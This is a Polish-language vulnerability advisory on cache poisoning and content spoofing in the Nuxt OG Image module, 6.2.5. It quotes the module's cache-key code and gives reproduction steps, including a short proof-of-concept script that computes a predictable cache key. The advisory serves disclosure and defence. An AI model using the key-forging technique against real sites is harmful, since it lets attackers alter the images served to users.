Zatruwanie pamięci podręcznej w Nuxt OG Image poprzez możliwe do wyliczenia klucze na niepodpisanych trasach dynamicznych obrazów

Dostawca: Nuxt Produkt: Nuxt OG Image Wersja: 6.2.5 Opis: Ze względu na specyfikę buforowania i generowania kluczy w pamięci podręcznej obrazów Open Graph tworzonej przez moduł, nieuwierzytelniony atakujący może zmodyfikować zawartość obrazu (na przykład parametr title) dostarczanego użytkownikowi. Wpływ: Podszywanie się pod zawartość (Content Spoofing) Podatny komponent: trasa /_og/d/*.png Warunki eksploatacji: Dostęp do aplikacji Mitygacja: Zaktualizuj do 6.7.2 i ustaw odpowiednio bezpieczny secret w konfiguracji ogImage Badacz: Dmitry Vanin (Positive Technologies)

Badania

Podczas poprzednich badań nad podatnością,) odkryto, że wersja 6.2.5 zmieniła mechanizm generowania indeksów pamięci podręcznej; obecnie uwzględnia ona parametry przekazywane podczas generowania obrazu.

Obraz jest jednak nadal generowany na podstawie danych przekazywanych atakującemu.

Listing 1. Nowy kod do generowania indeksów w pamięci podręcznej

export function resolvePathCacheKey(e: H3Event, path: string, resolvedOptions?: Record<string, any>) {
  const siteConfig = getSiteConfig(e, {
    resolveRefs: true,
  })
  const basePath = withoutTrailingSlash(withoutLeadingSlash(normalizeKey(path)))
  const hashParts: any[] = [
    basePath,
    import.meta.prerender ? '' : siteConfig.url,
  ]
  // Hash resolved options (not raw query string) so unknown/extra query params
  // cannot produce unique cache keys and bypass the cache.
  if (resolvedOptions)
    hashParts.push(hash(resolvedOptions))
  return [
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':')
}

W tym przypadku basePath jest pobierany z parametru _path, natomiast resolvedOptions to znormalizowane ustawienia komponentu, na przykład:

Listing 2. Przykład resolvedOptions

{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageDefaultImageTakumi"}

Z analizy resolvedOptions wyciągnięto wniosek, że na ogół wszystkie parametry są znane albo z bezpośredniego odnośnika do OG Image, albo z odpowiedzi serwera.

Odtworzenie podatności

1. Znajdź trasę do OG Image. Rysunek 1. Demonstracja wyszukiwania trasy do OG Image (width: 974, height: 361)

2. Pobierz parametry z odpowiedzi serwera, zwłaszcza cacheMaxAgeSeconds (nagłówek cache-control, klucz s-maxage); pozostałe parametry są znane z tagów meta oraz z parametru c_<component name>. Rysunek 2. Pozyskiwanie parametrów (width: 974, height: 245)

3. Wygeneruj klucz pamięci podręcznej za pomocą skryptu. Listing 3. Skrypt

import {hash} from "ohash";

var url = "https://contoso.com"

var obj = JSON.parse(`{"emojis":"noto","extension":"png","width":1200,"height":600,"cacheMaxAgeSeconds":259200,"component":"OgImageBlogPostTakumi"}`)

var basePath = '/'

var hashParts = [
    basePath,
    url
  ]
  
if (obj)
	hashParts.push(hash(obj))

console.log([
    (!basePath || basePath === '/') ? 'index' : basePath,
    hash(hashParts),
  ].join(':'))

4. Powtórz kroki jak w podatności 1,), przesyłając dodatkowo uzyskany cacheKey.

5. W ten sposób uzyskano ten sam wynik co w podatności 1). Rysunek 4. Odpowiedź serwera (width: 974, height: 729)

Podziękowania

Badacz: Dmitry Vanin (Positive Technologies)